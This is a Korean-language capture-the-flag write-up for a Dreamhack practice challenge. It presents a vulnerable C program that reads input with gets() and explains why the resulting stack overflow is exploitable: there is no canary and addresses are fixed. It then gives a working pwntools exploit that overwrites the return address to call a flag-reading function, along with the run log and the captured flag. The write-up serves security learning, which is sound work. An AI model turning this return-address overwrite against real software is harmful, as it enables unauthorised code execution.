#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf); return 0; }
풀이
char 형식인 0x80크기 만큼 buf 변수를 선언하고, gets 함수를 통해 buf에 값을 담는다.
구조는 다음과 같다.
gets 함수는 얼마나 많은 문자를 읽어들일 것인지에 대해 지정하지 않기 때문에
버퍼 오버플로우가 발생한다.
해당 바이너리는 실행될 때,
스택 프레임의 로컬 변수 영역과 Saved EBP 사이에 카나리아라는 값을 넣어서 함수가 종료될 때, 그 값이 다시 써졌는지 여부를 판별해 버퍼 오버플로우를 검출하는 Stack Smash Protection이 적용되지 않았다.
또, ASLR 보안 메커니즘이 적용되지 않기 때문에 주소값이 항상 고정된다.
ubuntu@WSL2:~/CTF/dreamhack.io/basic_exploitation_001$ checksec --file ./basic_exploitation_001 [*] '/home/ubuntu/CTF/dreamhack.io/basic_exploitation_001/basic_exploitation_001' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
따라서 아래와 같이 main() return address가 저장된 주소에 read_flag() 함수 주소를 넣으면 되겠다.
read_flag 함수의 주소는 0x80485b9이다.
ubuntu@WSL2:~/CTF/dreamhack.io/basic_exploitation_001$ nm ./basic_exploitation_001 | grep read_flag 080485b9 T read_flag
from pwn import * context.log_level = 'debug' p = remote("host3.dreamhack.games", 14368) payload = "A" * 0x84 + '\xb9\x85\x04\x08' p.sendline(payload) p.recv()
결과
ubuntu@WSL2:~/CTF/dreamhack.io/basic_exploitation_001$ python3 basic_exploitation_001.py [+] Opening connection to host3.dreamhack.games on port 14368: Done /home/ubuntu/CTF/dreamhack.io/basic_exploitation_001/basic_exploitation_001.py:9: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes p.sendline(payload) [DEBUG] Sent 0x89 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 b9 85 04 08 0a │AAAA│····│·│ 00000089 [DEBUG] Received 0x24 bytes: b'DH{01ec06f5e1466e44f86a79444a7cd116}' [*] Closed connection to host3.dreamhack.games port 14368